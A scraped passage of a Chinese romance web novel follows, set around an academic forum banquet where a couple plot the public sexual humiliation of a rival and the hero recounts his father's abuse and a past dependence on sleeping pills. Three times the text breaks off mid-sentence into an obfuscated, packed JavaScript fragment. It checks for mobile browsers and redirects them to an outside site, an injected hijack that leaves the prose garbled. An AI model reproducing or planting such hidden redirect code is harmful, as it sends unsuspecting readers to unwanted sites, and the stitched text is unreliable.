“姐,一会想吃什么?”福春带着她在家附近闲逛。走街串巷把周边绕了一圈,绕来绕去就是不进北江大学。 刘芯逛到一半咂摸出味来,见福春还在那装傻她也不点破,等到逛无可逛了才递个台阶提议:“要不进学校看看?” 福春还在装呢,张望四周吊儿郎当回答:“学校有什么好看的,没意思。” “北江大学是景点,我还没去过呢!” 刘芯这么说了福春也没理由不答应,两人磨磨蹭蹭往校门走,刚准备进去就在门口对面的广场上碰见熟人。 离上课还有些时间,陈悦目出来处理些私事。陈父好些日子见不着人又开始犯病,借着饭局跑到陈悦目这作妖。从前陈悦目的所有事都是他做主,现在也一样要由他做主。别说福春是个中专洗头妹,哪怕是个才貌双全的名媛只要他不点头陈悦目就不能娶进门。 “年轻人都喜欢宅,和我们那个年代不一样了。这怎么交朋友嘛!”陈父和对面老教授寒暄。 两个老的口沫横飞不亦乐乎,两个小的面面相觑生无可恋。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13707449|134656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “囡囡,和小陈老师加个微信。” “陈悦目,你主动点做个绅士。” 陈悦目终于找到机会终止这场荒唐的相亲,陈父那边咳嗽一声捂住胸口递了一个眼神。老的就料到陈悦目不可能乖乖就范。自家闹翻天就罢了,在外面绝对不能给他丢脸。陈教授用口型说出刘芯,陈悦目看得清楚明白,含在嘴里的话也硬生生憋回去。 他明白自己父亲不可能没有后手,也想过对面会用福春威胁他,只要人在自己这全须全尾护着就行,怎么挑拨怎么闹陈悦目已经死猪不怕开水烫。但是刘芯让陈悦目没辙,她出点什么事福春绝对跟自己没完。 两相权衡下陈悦目选择微笑拿出手机和对面交换微信。万幸对方也一副被逼就范的模样,换个微信多半就没下文了。就怕两个老的看对眼,制造机会一路把他们押进婚礼现场。 “后天有个会,我带囡囡过去,小陈老师一起来,好吧?” 陈悦目苦笑,心道真是怕什么来什么。 福春老远瞧见又气爆炸了。男人就是狗东西,嘴上舔你舔得要死要活,转脸就能和别的女人眉来眼去。 “杀千刀的,我信了他的鬼话。姐,咱们明天就回去,再也不来这了!” “你先等等——” “等什么呀?等着人家赶我走吗?姐我跟你说他们姓陈的可坏了,全都欺负我!” 刘芯赶忙拽她,两只手扣在福春肩膀上细细打量,想了一阵问她:“你俩什么关系?” 福春被问哽住,扭头嘴噘老高,“人畜关系,我是人。” “赌什么气,你吃醋了?” “谁吃醋了,犯得着嘛!” 刘芯故意刺激她:“你俩什么关系都不是,男未婚女未嫁,他认识别的女生又没错。” 福春找不到理由反驳,站那憋得眼泪快出来了,刘芯不再逗她,把她的碎发撩到耳后宽慰:“你别急,认识个人又不代表什么,你不放心就上去打个招呼。” 福春看向那边,刘芯从身后揽着她,把下巴抵在她肩上在她耳边说:“小熙,我希望你能幸福。” 福春望着刘芯。 “去吧。”揽在肩上的手一推,福春踉跄迈出一步,一步两步,接着缓缓走上前。她深吸一口气,鼓足劲大声喊:“陈悦目!” 前方几人一定,远远的陈悦目顺着声音看来。 福春一副寻仇的架势冲进圈子站到陈悦目面前。谈话被打断,几人大眼瞪小眼,福春站在中央,当着他们的面朝陈悦目理直气壮伸手,“给我钱。” 大概停了一秒钟,陈悦目开口问她:“要钱干什么?” 福春板着脸,突然笑嘻嘻指着旁边,“买烤地瓜。” 一阵风吹来,把不远处铁炉子里的焦香味吹到广场上。 陈悦目面无表情,“自己买。” 福春摇头,“没有钱。” “穷鬼。” 陈悦目把手机给她,拍她屁股催促:“快去。” 手机在福春手里被直接按开解锁,她一蹦一跳跑走,让老教授看得一愣。 见两人举动亲密,教授心下了然,没想到福春又杀了个回马枪,跑上来搂住陈悦目直接吻上去。 在福春抱上来的一瞬陈悦目习惯性搂住她的腰,像以往无数次那样,接吻的时候扣住她的后脑勺,来了个短而深的舌吻。 “去吧。”陈悦目揉揉福春脑袋。 陈父紧抿嘴唇,脸已经呈酱紫色。等福春离开,四人站那一言不发,还是对面女生先开口圆场:“那是你女朋友吧?” 陈悦目手插口袋,微笑回答:“是未婚妻。” 老教授已经不想说话,假模假样瞧一眼手机打算告辞,陈悦目抢在他走前笑着问后天的会议能不能带上家属。 话都问出来了哪能不让去,教授点点头甩下一句欢迎便上车离开。 * 晚上,陈悦目上完课回家。 床头灯还亮着,福春已经睡下。他睡得那侧摆着衬衫。陈悦目拿起来看,衣服上歪七扭八趴着条“大蜈蚣”。他笑笑,把衬衫丢地上扑上床抱住人,手不老实地从睡衣下摆探进去。 “干嘛呢,我要睡觉。” 陈悦目一巴掌揍福春屁股上,闷笑声从她肩窝传出来,“收拾你。” 福春迷糊着没完全清醒,推开耳边的脑袋赖赖唧唧说:“我缝好了,缝好了干吗还收拾我?” “缝得难看死了,能穿吗?” “穿上不就能穿嘛!” 好有哲理的话,陈悦目深感赞同,“你是当代哲学泰斗。” “哎呀你去洗澡,让我睡觉。” “一起洗。” 他把福春抱在床边缠绵,床头柜上手机振动两下。陈悦目拿起来扫了一眼,吻了吻福春额头把她抱回床里,“睡吧,我去洗澡。” “谁发的短信?” 陈悦目拿起换洗睡衣转头回答:“后天跟我去趟君悦。” 福春趴在床上问:“去君悦干吗?” “做学术蝗虫。” 43. 学术论坛 “我穿什么好呢?”福春在镜子前照来照去。 大大小小的学术会议和学术论坛对陈悦目来说已是家常便饭,以前图新鲜还有点劲头,后来就变得厌烦到疲惫再到现在麻木无感。对于陈悦目来说理所当然的事对福春来说十分新鲜,毕竟她连学校班会都没开过几次。 “随便,裤子最好穿带松紧的。”陈悦目一身T恤睡裤在厨房鼓捣咖啡机。 “为什么?” “吃多了不勒肚子。”他端杯子坐在餐桌边,悠闲欣赏福春只穿内衣在衣柜前挑挑拣拣。 福春把衣服扔床上,叉腰:“怎么总想着吃呀!” “不吃还能干吗?你还想跟人家交流学术?” 陈悦目倒是喜欢福春像这样捣腾衣服,不过这种论坛他们去吃好喝好是首要。 “第一次去总不能给你跌份吧?”福春又拿出一件连衣裙在身前比划看着镜子说,“不是有晚宴吗?那肯定要穿得漂亮点。”她语气稀松平常,一说就说到陈悦目心坎上。 陈悦目自认为他这种人最顶不住别人拿他当回事,特别是他瞧不上的小事被对方郑重其事对待拿来讨他欢心。事做得好不好无所谓,好事他见多了,反正办砸有他收拾烂摊子,心才是最重要的,心在他这日子才能风生水起。 但上述理论其实仅限福春,陈悦目这个睁眼瞎双标不自知,对他好的人多了去,别人掏两颗都没用,福春放个屁都能放到他心坎上。 他走到她面前,从衣柜最边上拿出一件华伦天奴黑色长裙。裙子是陈赏心的,母亲收拾屋子时顺便问了一嘴,然后让洪婶带过来给福春。 当时福春没回家,陈悦目就把裙子挂在最边上和黑色西裤放一起,然后一直把它忘在那。 “换这件试试。” 福春站在他面前直接把裙子套上,陈悦目食指轻巧帮她勾起肩带,又伸手绕过她把后背拉链拉上顺势将人搂在怀里。 他微微后靠心满意足看了一眼怀里,“挺合身。” 裙子版型偏瘦长,福春穿上去显得整个人削瘦精神,及肩长发薄又利落披下竟然平添几分书卷气。 “好看吗?”怀里的人转了一圈又笑着趴在他胸口上。 陈悦目亲一口她的脸颊附在耳边说:“也帮我挑一套,配你这身。” 两人把柜子里的衣服都拽出来,分不清是穿得多还是脱得多,闹到快出门陈悦目把福春给他缝的那件衬衫穿上。 “你穿这件干吗?” “缝好不穿吗?” “算了,这衣服给我缝坏了。” 看陈悦目穿上那件歪七扭八的衬衫福春不好意思,好好的衣服被她糟践了,她伸手解开纽扣却被握住双手阻止。 “你说阮晓柔给她老公补衣服。” “嗯,跟这有什么关系?” 陈悦目不接话,拿过她给自己挑的花领带转身对着镜子系上,“穿上外套就看不出了。” 他搭了件深棕色Glencheck格纹平驳领西装外套和米黄色西裤,穿得比福春花俏得多。 “哎呦……也就你穿能撑起来,换个麻杆穿就是饭店小老板进城。” “夸我还是骂我呢?” “夸你夸你。”福春拍拍他胸口捋平领子,时间已到,她推他出门,“快走吧,要迟到了。” 门打开一阵嘈杂,随后咔哒关上屋子重归宁静。 * 君悦停车场 两人来到酒店,福春开的车,她会开不会停,在地下绕了四五圈让陈悦目说了两句。福春老司机脾气学了十成十,立马黑脸一脚把人踹下车。 开会的人陆陆续续到来。陈悦目从停车场上到会议厅外,场外有带工牌的学生认识他,热情打招呼引他过去签到,陈悦目弯腰在长桌上翻名册,手刚摸到笔就被抽走,一抬头,见老熟人正站他旁边。 “没见过笔是不是?”他从桌上拿起另一支笔继续低头签字。 夏良协接过给的资料袋点点桌面,“开个玩笑而已。” 福春从对面电梯上来,一出电梯就看见夏良协也正看她。一见福春他跟耗子偷着油似的窃喜直往外流,还慵懒倚在桌边装腔作势,“这边,福春。” 福春慢悠悠上前,挽住陈悦目和他打声招呼。 夏良协眼睛上上下下扫人。 他俩的打扮上陈悦目是花了心思的,明明没有一处元素相同可往那一站就知道是一对,穿搭比情侣装还情侣装。 夏良协指着福春啧啧两声:“要我说你什么好?” “说什么?说我好看!”福春说。 他也不多话,及时止损,掏出手机连面子都不做直接进场,不过临走前倒是杀个回马枪对福春说:“照顾好陈悦目哦!” 没等福春问他什么意思,对面贱兮兮比了个撒尿的姿势吹起一声流氓哨。 陈悦目当即黑脸,捏紧拳头要开揍,福春费劲巴拉扯住他。 “你先等等!” “等什么?揍他不用排队。” “哎,陈悦目这么多人呢!” “福春,你什么时候也开始讲脸面了?” 福春啪啪抽他两下,“你耍什么耍?我还不是为了你!” 陈悦目果然不闹了,小眼神一瞥在那憋着劲儿等福春来哄。福春知道他怎么想,这点事上也乐得宠一宠陈悦目,每次吵完架和好陈悦目那劲劲的小样特别招福春喜欢。 “我哄你跟哄孩子似的,你管我叫妈得了!” “滚蛋。” 福春捏捏他下巴,“你看那还有记者在采访,在这打架你还混不混了,你不想混让我跟你喝西北风吗?” 这句话的底层逻辑值得回味,福春说得飞快,陈悦目几乎以为自己听错,愣愣想了半天,走神的功夫他被福春拖进会场。 宴会厅此时坐满了人,分针跳到12,会场灯光暗下,舞台上聚光灯亮起,开幕式正式开始。 陈教授坐在前排,没一会就在主持人的介绍下上台讲话。他平时做派虽然拿腔拿调讨人厌,但那指点江山的劲头放在舞台上挺有几分魅力。 福春后面坐着几个研一的青瓜蛋子已经被老头魅力折服连连惊叹。 台上说完,台下掌声雷动。陈悦目把手里资料一卷,朝台上翻个白眼换了一边跷二郎腿。 福春看他那反应快笑死了,抓起他的手握着放在自己腿上。 “干吗?” “要是你也上台就好了,我就在台下跟人嘚瑟我认识你,倍有面子。” 陈悦目被逗笑,“出息,你喜欢下次学术会议带你去,我做嘉宾。” 灯光亮起,台上又搬了几个沙发进入下一流程。这次夏良协也在台上。他在学生中人气很高,一上台就引起不小的欢呼声。舞台布置间隙几位老教授还在台上拿这事调侃他。夏良协也春风得意享受得很。 陈悦目看不下去干脆起身走人,福春跟他一同离开。 君悦去年才在北江开业。酒店内装潢设计都新颖且讲究。他们从宴会厅出来直接走到由镜面不锈钢建筑材料打造的弧顶连廊,墙面仿竹屋纹理造型与灯饰巧妙融合一直延伸到走廊尽头的大堂。 陈悦目拉着福春随便找个沙发歇着,打算一直等到晚上开饭。 “现在干什么?” “不知道。” “那也不能干等着。” “那我送你回去听那帮老头讲数字经济?” 福春想了想摇头,“我听不懂,听起来跟黄龙江一带都带蓝牙似的。” 陈悦目在发信息,抬眼回答:“要不去楼上开间房?” 提议很下流,还有种来都来了的随便感。福春对陈悦目说,你真不要脸,然后欣然同意。 楼下老头子们在研究宏观经济,楼上她和陈悦目在鼓捣微观生物。 两方互不打扰,各自以产业的深度融合为重要抓手,为深入挖掘市场潜力进行赋能,从不同角度展开对社会生产力酣畅淋漓的探讨。 福春太喜欢这种学术交流了,她决定下次还来。 “啊,快死了……” “不许胡说。” 纱帘外黄昏若隐若现,陈悦目手一捞把她搂进怀里。 “那说什么?”一只手抚上他胸口,“你的事要不要说说?” “说什么?”陈悦目闭眼假寐。 “夏良协的话是真的还是假的?”福春问。 陈悦目不回应,闭着眼睡着了似的。福春也不急,淡淡来了一句你不说是吧,然后钻进被窝,没一会陈悦目开口了。 “干吗呢?”他一把掀开被子钻进去,“你缺不缺德?” 嬉笑声在被窝里传出,在黄昏下好像一坨巨大的棉花糖裹满糖浆。福春从被里探出头呵了口气,从外面一扑把陈悦目困在被子下面。 “臭东西。” 她咯咯笑,一松手让被子下的人反扑压在床上,陈悦目问她:”你真想知道?我说了你信吗?” 福春只是捧住他脑袋亲亲他的唇瓣,鼻梁,再到额头。吻着吻着陈悦目趴在她身上,看外面车水马龙汇聚的光斑缀满这座城市,内心充满安逸。 “我没有嗑药。”陈悦目平静又说了一遍,“我没有磕药。” 他坐起来,把福春抱在怀里,抓起她的手放在自己胸膛上,“但是状况也没有好到哪去。” 上学的时候陈悦目因为失眠有严重的药物依赖。 陈父在陈赏心去北京之后还想再创造一个天才。女儿带给他荣耀,儿子可以继承他衣钵。从前是艾琳娜在负责陈赏心的教育,这回轮到陈悦目,陈父打算亲自从头到尾塑造一个完美天才。男人信奉打压才能造就人,所以陈悦目从小就被严格管教,一言一行都要得到他的允许才能做。 “……以前我爸不准我交朋友,学校里能跟谁说话都要得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13724430|134656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到他的允许。” 如果有在他名单之外的同学来找陈悦目,陈教授会把人拦住然后笑着装作很耳熟的样子对他们说陈悦目很讨厌他们。 久而久之,陈悦目孤僻的性格加上流言蜚语,他身边再没有朋友。 “我爸把我变成了怪物,让我格格不入地活在世界上居然还觉得很正常。” 他在十三岁那年上高中住校,那时陈悦目已经不会和人正常相处,加上以前初中的传言同学也不待见他。 “我在学校被换了几个宿舍。”陈悦目无奈笑笑,“呵,总是被揍。” 陈父乐见其成,打压会激发人的潜能,天才的路注定孤独,而从众的劣根性只会让一个苗子泯然众人。所以每一次都是等到陈悦目被揍得鼻青脸肿让老师发现然后才给他调换宿舍。 “你干了什么?”福春坐在床沿边穿衣服边问。 “嫌他们蠢,直接说出来了。”陈悦目把手伸给福春让她帮自己扣上袖扣。 福春点头,“像你能干出来的事。” 后来他被安排和夏良协住一间宿舍。那年他上高三,夏良协是大他三岁的复读生,他头一年成绩差点上清北,于是又决心复读一年继续冲刺。 “这王八犊子一直人缘很好,跟谁都处得来。”即使脾气古怪的陈悦目当时也很依赖他,“高三竞争很激烈,只有在他身边还能感到一点友善。” 陈悦目也常常帮他梳理知识点和借他参考资料。因为陈赏心给他的温暖爱护所以陈悦目也很自然把夏良协当做哥哥,有什么事也会和他商量。 “我那阵失眠整晚睡不着,他借我吃过一次安眠药,然后我就开始偷偷吃。” 陈悦目觉得失眠这事和他爸说没用,于是自己瞒着他请假去医院开药。 “后来学校里有些传言。不过我没放在心上,反正他们对我从来没好话……” 临高考的时候他的情况越来越严重,但是学校里争分夺秒,陈悦目只能忍着病痛偷偷攒了好多药。由于没有遵医嘱服药加上身体虚弱,他在中科大复试现场出现严重的药物副作用。 “考场上的事被传回学校闹得沸沸扬扬。那时快高考夏良协那孙子也不装了,借着和我是室友的关系添油加醋说我嗑药。” 顶尖学校录取人数就那么点,在高考前每个人都是竞争对手。夏良协要从精神上击垮陈悦目这个劲敌。无论身处哪个阶层竞争都是很残酷的,陈父深谙这个道理所以想尽早教给陈悦目,但是人性的卑劣和愚蠢让他选了最错误的方法。 “再后来我高考成绩还过得去,我爸嫌丢脸就把我送出国了。” 按照陈父的期望陈悦目应该从沃顿商学院毕业在外刷履历然后回国继承他的资源,但是出国以后一切计划被打乱。 “有一天我在外面迷路逛了很晚才回去。那时我回到房间就一个人,很安静,什么都没有发生。” 没有暴怒殴打,没有惩罚。夜晚一片漆黑,他坐在地上发呆,好像受刑的囚犯第一次被松开镣铐。 “我意识到自己已经不受他管束,于是马上准备手续逃开这个地方。” 陈悦目申请去了剑桥读哲学,美国这边他以代写论文做交换买通了另一个一起过来的富二代帮他定时传消息回国。 “逃出去之后我才慢慢活过来好好体验这个世界……和白人干架,和印度人争功,乱七八糟地重新学做人。” 他用十年的时间拼命读书,在学校一直做到Lecturer,到他的论文和教学经历都已经攒够准备升副教授的时事情被陈父发现。 门铃响起,陈悦目开门然后拿来化妆包放在洗漱台上,接着靠在洗手间门边继续跟福春说:“当时那富二代在美国飞/叶子昏了头把东西带回国。人一下机场就被扣住,顺带把我的事也扯出来。” 陈父一边去英国抓人一边通过人脉买通学校学生污蔑陈悦目种族歧视。 虽然学生后来撤回指控但他在国外的事业也就此终止。中国人想通过人文学科在欧美立足比登天还难。陈悦目这一路是比别人付出多百倍的努力才走到今天,稍有瑕疵机会就会拱手让人。 “再后来我又回到北江,遇到了你。” 刚回国那段时间是他人生最糟糕的时刻,有好几回都想过一了百了,最后又稀里糊涂撑下去,万幸他遇见了福春。 他把自己的人生毫无保留坦白给福春,一个一无是处可怜又糟糕的男人的一生,就像菜市场上挂着的腐烂猪肉等待她挑选。 陈悦目看着镜子里那张明艳鲜亮也正在看他的面庞,他们的人生本该朝着不同方向展望,却兜兜转转最终目光看见彼此。 “美吗?” 陈悦目靠在门框,懒懒地闭了闭眼哼一声,眼中温柔,“美。” 现在六点五十九分,晚宴七点钟开始。 “走吧。” 福春把珍珠耳环戴上,挽住陈悦目下楼。 44. 红颜祸水 晚宴 陈悦目和福春下楼去餐厅。一进大门看见陈教授站在中央拿着红酒杯与周围人侃侃而谈。 “我们去打个招呼吧?” 陈悦目冷哼,“打赌吗?他绝对装看不见我。” 侍应端着一盘酒水从他们面前经过,陈父如他所料,隔着老远见到两人立刻背身,生怕沾上一点。 “要不你上去打个招呼?”福春明白陈父在外不至于这样对陈悦目,他做出这副姿态明显冲着自己,福春也不想让人家父子反目,“这样整得我跟红颜祸水似的,我多冤枉啊!” 陈悦目听后捏捏她脸蛋,“红颜祸水你还差得远。”事已如此,他也不凑上去找骂,带着福春坐在角落,“不去不是正好?省得老头又给我塞对象,再塞过来我可没招治他,要不然就跟人结婚要不然就带你亡命天涯,你选一个吧。” 这话福春不爱听,她又不是找不到好的,干吗非在陈悦目这委屈自己,“我一个也不选,老娘勾勾手男人就跟鲤鱼似的大把大把张嘴凑上来你信不信?” 陈悦目让她逗笑,捏捏她胳膊讨饶:“别闹了。” 福春不跟他臭贫,抬眼环视周围。餐厅装修兼具现代恢弘,运用了大量铜制元素。淡色原木桌椅在暖色灯照耀下又为这里添上几分温馨,除了分布在厅内的各种油画和雕塑,中央还摆放一架三角钢琴,旁边两个女孩子在那说说笑笑。 福春朝那处努嘴,“你看。” 夏良协站在琴边跟其中一个小香风穿着的年轻女士相谈甚欢。 待那位女士离开,他也走向人群独自应酬。 福春拿着酒杯起身。 陈悦目收敛神情,问:“去哪?” 福春站在桌边,抓着香槟杯把手压陈悦目肩上吊儿郎当回答:“红颜祸水嘛,当然要去勾引男人。” 陈悦目盯着对面墙上如焰火般跳跃的油画,半晌,举起酒杯一碰福春的,轻轻说道:“玩得开心。” * 今晚自助餐的主菜中规中矩,好在大酒店甜点花样多,蛋糕点心一堆堆叠在一起倒有那么几分纸醉金迷的味道。 “开心果味饼干,想不到这里居然也有。赶due时候玛莎的开心果饼干是我的救命粮草。”不待女孩开口,陈悦目话锋一转,“快吃吐了。” 对面被他的冷幽默成功逗笑,“你可以试试用他家的蝴蝶酥配龙虾汤,我保证吃不吐。” 陈悦目将一块三文鱼夹入盘中,在女孩又一次开口前先自我介绍:“陈悦目。” 女生将发丝撩到耳后,腾出手来与他打招呼。 不远处众人举杯,白的混红的喝过几轮,人也随脑袋顶的光一样晃晃悠悠。夏良协找到一处空位坐下,眯眼瞧见餐台边站着的两道熟悉身影。 陈悦目攀谈的对象是夏良协花了大力气才搭上的高枝,对方是北江支柱企业恒盛集团的董事千金。女的从小在英国留学直到今年上半年才回来。这次能来也是夏良协花心思邀来的,本想过了今晚就有突破性进展。谁料他才在场里转了一圈,转眼就给陈悦目这王八蛋偷了家。 夏良协狠狠扯松领口,咬牙切齿啐道:“狗男女。” 手中酒已喝光,他起身找侍应换一个新的白酒盅,屁股才离开座位就让人在背后撞了一下,紧跟着皮肤传来一股湿润。 夏良协扭头大骂,话到一半又吞回去。福春站在那,举着几乎空掉的酒杯低头耷脑委屈。 “对不起。” 夏良协歪头冷笑:“呦,什么风把你吹我这?” 远处那两人还在有说有笑。 “你明知故问。” “早告诉过你。”他越过人要走,被福春抓住手腕。夏良协站上前,对那张漂亮脸蛋喷出浓烈酒气,低声道,“你有本钱才能留住人,到我们这个地位什么样的女人玩不到,多的是比你物美价廉的!” 福春听到这番羞辱跟没听见似的,反而低眉顺眼拉拉对面被扯开的领口说:“你衣服被我泼上酒了。” 夏良协脑子让酒精搅着理智乱成一团。很拙劣的演技,目的瞎子都能看出来。他不应该再碰这个女人,特别是在醉酒的情况下。 “你要去哪?”福春扯住他手腕,力道不轻不重。隔着衬衫能感受到手指压在他脉搏上,指尖细细的,还透着一丝凉,正好解他喝酒之后的热。 “东西被人惦记了,当然要去抢回来。” 福春靠上来,贴在他耳边一字一句问:“那你还抢我吗?” 酒精带着理智蒸发,那瞬间夏良协魂丢掉一半,就看见福春低侧头,露出的珍珠耳坠轻轻晃动,晃得他头昏目眩。美人计的威力他算见识了。他掐住福春脸颊,白嫩的肉让他捏出几道淡淡的青白印子,衬着被羞辱的红脸颊格外明显。 “你真是个婊子。” 肉送到嘴边哪有不吃的道理?但他还要起个腔调,不能显得太贱让人踩在头上,也不能把好不容易抢到嘴的食物放走。 “这可是你自己送上门的。” 福春点点头。 ”我想怎么玩就怎么玩!“ 福春不吭声,没一会眼睛开始掉“金豆”。 “哎,怎么哭鼻子了。”他换了副嘴脸赶紧把人圈在怀中,用手掌小心翼翼替她抹掉泪珠。 “男人都不是好东西。” “对,男人都坏。” “我该怎么办?” 夏良协哄道:“报复那对贱人。” 福春笑了。 * 餐厅对面有两个小会议间是准备给记者做专访的。一间是给教授们做群采,此时屋内正高谈阔论好不热闹。至于另一间,则是留给夏良协做电视专访。 “你确定在这吗?我半小时后在这做采访。” 室内黑乎乎,只有急切的呼吸。夏良协几乎被情欲主宰,只能被福春带着走向溃堤。他就知道她是会玩的,简直让人欲罢不能。 “我想这一口可太久了。”他钓了福春这么长时间如今收杆时鱼突然上钩,这惊喜比精心筹谋之后得到还让人兴奋。 夏良协暴起青筋,手从裙下摸上福春大腿,等再要往里探时被立刻抓住。 “干吗,你反悔了?” 福春的食指压在他唇上,摇摇头提议:“玩点更刺激的怎么样?” 手指一路从唇瓣滑到喉结,细腻的指尖沿着热乎乎的动脉抚摸。夏良协闭上眼,感受到领口被彻底松开,然后手被反剪,他的领带被结结实实绑在自己手腕上。 福春把他推倒在沙发上,用巧劲一拽,扯开所有衬衫扣子。 “你和陈悦目也这么玩?” “嗯。” “那家伙艳福不浅。” 房间灯亮起,福春走过来骑他身上,柔嫩的手掌在他胸腹上来回抚摸。 “还满意吗?”夏良协问。 “你这还打过洞。” “年轻时玩乐队疯过一阵子。” 福春轻轻在那处挑动,想了想然后摘下珍珠耳环给他戴上去。 钢针穿过皮肉带起一阵战栗,夏良协反弓身子,忍不住呻吟:“啊,你可真带劲。” 不等回答,外面传来喊声,脚步声混着叫喊由远渐近。 福春用拇指摩挲夏良协脸颊,漫不经心:“陈悦目在叫我。” “别管他。” “他还在叫。” 两人停下动作,都在等对方做决定。人声渐渐嘈杂,隔壁访谈已经入尾声,最终夏良协撑不住,咒骂一声:“狗娘养的,把他赶走。” 福春起身,理了理裙摆走到门边,转身回给他一个飞吻意味深长说:“等我回来噢!”然后开门离去。 起初的五分钟一切正常,门外传来两人交谈。再后来脚步声走远,外面寂静,只有隔壁发出阵阵结束访谈的掌声。房间里复古摆钟渐渐指向整点。夏良协瞬间酒醒,挣了半天挣不开领带扣结,从沙发上跳起来恶狠狠咒骂。 “贱人!贱人!贱人!” 访谈结束,脚步声七零八乱。人群在门外聚集,记者要提前布场,扛着器材打开大门。 一声尖叫打断喧闹,门外的人潮水般涌进屋中,又一个个目瞪口呆站在原地。后来的人要凑上去一探究竟,进去之后又是重蹈覆辙。没办法场面实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13738412|134656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在劲爆,即使在酒店也不多见,明明应该把门关上但是没有一个人去做。不知道是谁的闪光灯没关,之后霹雳吧啦的光此起彼伏,照亮夏良协胸前晃荡的珍珠耳坠。 他丢了魂般光屁股瘫在沙发上。 几位老教授看不下去,里里外外一起帮着疏散人群。 人群中不知是谁喊了一句:“呦,这在玩任务吗?”又把快要维持好的重新打乱。 陈教授大步走上去解开领带,把裤子扔人脸上,骂道:“伤风败俗!” 夏良协回神,浑身上下血红,站起来满脸是泪暴喝:“狗东西,男盗女娼!” 刹那,陈教授便明白怎么回事,在他说出更多之前一巴掌将人扇倒在沙发上。夏良协丢的是他自己的人,和他们陈家没半点关系。 “滚,都滚!”男人一股劲把门关上。 人群终于被驱散,大伙意犹未尽回到餐厅又聚在一起热烈讨论。 餐台前,陈悦目揽住福春的腰朝对面说:“介绍一下,这位是我的未婚妻。” 女生捏住酒杯底托,嘴唇微张来回打量二人,无语,哼一声转身便走。 “等等。” “……如果我的酒杯有酒我一定用来泼你。” 陈悦目举起双手解释:“刚才你也看到了,和你来的那位不是个好东西。” 女人挑眉,反唇相讥:“他是不是好东西我不知道,但我知道你一定不是好东西。” 陈悦目对着远去的背影说道:“抱歉。” 对方脚步未停,福春摇头上前搭住他的肩,感叹:“作孽啊,陈悦目。” 陈悦目斜她一眼,回道:“始作俑者是呢?” 一小时之前,他们坐在角落,福春看见夏良协和女人搭讪,她决定动手收拾一下那个管不住下面的王八羔子。 “我弄成这样是拜谁所赐?”陈悦目捏住福春下巴晃了晃,“胡闹。” 他把西装外套脱下披在她身上问:“受欺负没有?” 福春仰头把头发撩到耳后委屈巴巴告状:“我的耳环少了一只。” 陈悦目把另一只摘下来随手丢进花盆,“再给你买一对。” 两人又坐回餐桌前,琴声响起,断断续续,又有几个人围在琴边聊天,福春一眨不眨盯着那边。 “你喜欢钢琴?”陈悦目问。 福春眼睛舍不得离开,又看了一阵转头反问:“你会弹吗?” “会。” “那你给我弹一首。” “想听哪首?”陈悦目把杯中酒仰头一饮而尽,起身,弯腰对视福春,“弹可以,你要一直看着我。” 淡淡的果香呼在福春脸上,她一愣,随即粲然伸手捏捏陈悦目耳垂,“好。” 外套还穿在福春身上,她拢了拢,望着陈悦目跟钢琴边的人交谈片刻后独自坐在琴前。 他的衬衫歪七扭八,和那板正优雅的姿态极不相符。 华丽璀璨灯光下,陈悦目一手触上琴键,一边望向角落,那一隅福春也正目不转睛看着他。 周边的人此时停下动作朝钢琴处投去目光,等到交谈声渐弱,陈悦目奏响第一个音。 《爱之梦》是李斯特创作的钢琴曲,曲子一共有三首,每首都有一位诗人的题诗。第一二首的题诗是《崇高的爱》和《幸福的死》,最出名的第三首,也是陈悦目弹的这首,题诗是弗莱里格拉特的《爱吧》。 连贯而温柔的旋律流淌,声音扩散至整个餐厅,渐渐所有人的目光聚焦在他身上。 即使听的人不懂来历也可以感受弹奏间流露的感情,无论陈悦目何时回望,福春的视线始终在他身上。一股温热钻心的火同时烧着他们,明明做过无数次比对视更亲密的举动,却没有一次像现在这样让人心动难耐。音符在修长手指间滑出就像温柔调皮的吻在撩拨,这场演奏是在大庭广众之下的调情,公之于众又心照不宣。 一曲完毕,四周鼓掌,福春拿着两杯香槟来到钢琴边,“得意吧你!” “玩得开心吗?”陈悦目问。 杯中酒摇晃,叮地一声,福春与他轻轻碰杯,回答:“开心。” 45. 结束,是新的开始 次日,夏良协的丑闻让学校炸开锅。陈父一晚上焦头烂额,连打十几通电话催陈悦目回家。 一进家门,硬壳厚字典朝他劈头盖脸飞来。陈悦目抬手挡开,书角在他小臂上划出一道血线。他瞧了一眼,嘲弄:“好大的礼。” 陈父手插在西装裤口袋里踱步到他面前,还是一贯的一丝不苟。 “很生气吗?”陈悦目问。 “昨晚的事你不用交代?” “交代什么?关我屁事。” 陈父骤然狰狞,手指着地,吼道:“陈悦目,如果不是我拦着,你和那女人昨晚根本走不出君悦大门!” 